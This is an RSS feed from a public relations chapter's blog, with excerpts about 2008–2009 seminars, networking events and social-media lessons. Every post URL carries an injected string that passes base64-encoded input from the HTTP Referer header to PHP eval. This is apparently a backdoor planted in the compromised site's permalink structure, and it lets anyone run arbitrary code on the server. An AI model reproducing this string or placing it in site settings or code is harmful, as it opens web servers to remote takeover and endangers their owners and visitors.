http://prsatarheelblog.org The official blog of the Tar Heel Chapter of PRSA Mon, 27 Jul 2009 18:30:44 +0000 http://backend.userland.com/rss092 en By John Luecke, APR, Professional Development Seminar Committee Eric Schwartzman is a senior communications professional with broad experience in online communication, public relations, public affairs and marketing. He will address the Tarheel Chapter's professional development seminar on September 10, 2010, at High Point University. Schwartzman helps organizations develop and execute digital ... http://prsatarheelblog.org/2009/07/27/eric-schwartzman-confirmed-as-keynoter-for-professional-development-seminar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Thank you mentioning me in the July newsletter. I resigned my position as board secretary with sadness, but for a very happy reason. I got married in March and moved to the Charlotte area in April. I continue to work with my clients in the Triad area and have expanded my business ... http://prsatarheelblog.org/2009/07/10/no-thank-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ by Tarah Jakubiak, Professional Development Seminar Committee The world is becoming a smaller place. We have known this for years, thanks to the internet. However, social media has brought this reality one step further. The US Air flight 1549, which crash-landed in the Hudson River, was first brought to us ... http://prsatarheelblog.org/2009/06/10/believer-skeptic-or-just-dont-know/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ by Beth A. Bartlett, Professional Development Committee This year's Professional Development Seminar topic has been determined… "What Now? Getting News Out in a Newspaper-less Age" will be the subject of focus for the day-long seminar, which will take place at High Point University. Mark your calendar today! The seminar will examine ... http://prsatarheelblog.org/2009/06/02/and-the-topic-is/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Five reasons why you should attend Tuesday's PRSA Tar Heel meeting at the Airport Marriott: 1. Our speaker is KD Paine, a social media measurement maven/guru/diva. Not only should you see her in person to soak up all her social media measurement wisdom, but you should follow her on Twitter and ... http://prsatarheelblog.org/2009/05/05/measuring-social-media/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ by Bob Conn, APR Vice President, Professional Development Save the date--Thursday, Sept. 10-- for our annual Professional Development Seminar--an opportunity for a more intensive education opportunity than is available in our monthly luncheons. The chapter's seminar committee is already hard at work planning the all-day meeting, which will be at High ... http://prsatarheelblog.org/2009/05/05/save-the-date-september-10-2009/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ At last night’s April PRSA Young Professionals Meeting, we were honored to have David Mullen, Account Supervisor at Mullen (no, they’re not related) share his social media insight and expertise. Over bruschetta and the Village Tavern’s famous crab dip, David discussed the difference between social media and user generated content, ... http://prsatarheelblog.org/2009/04/22/social-media-food-for-thought/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Say, did everyone see what happened to Tropicana's rebrand attempt when it said it had had the last straw and went with a glass on its packaging instead? Some 35 million dollars went down the drain when consumers used social media to bash and reject the new pacakging. Consequently, Tropicana ... http://prsatarheelblog.org/2009/02/24/tropicana-says-mia-pulpa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Do you want to make new PR connections? Would you like to hang out with other young PR professionals from the Triad? PRSA Tar Heel’s Young Professionals group welcomes the Triad’s up and coming PR practitioners as well as those from any other communication related fields. It’s the ... http://prsatarheelblog.org/2009/01/15/prsa-young-professionals-2009-kick-off-event-at-solaris-restaurant/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ At our last PRSA Young Professionals event, we had the opportunity to meet a veteran PR and media relations pro within the furniture industry. Jackie Hirschhaut, vice president of PR and marketing for the American Home Furnishings Alliance (AHFA), manages media relations surrounding one of the largest trade shows in ... http://prsatarheelblog.org/2008/12/04/great-media-relations-tips-from-an-industry-pro/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/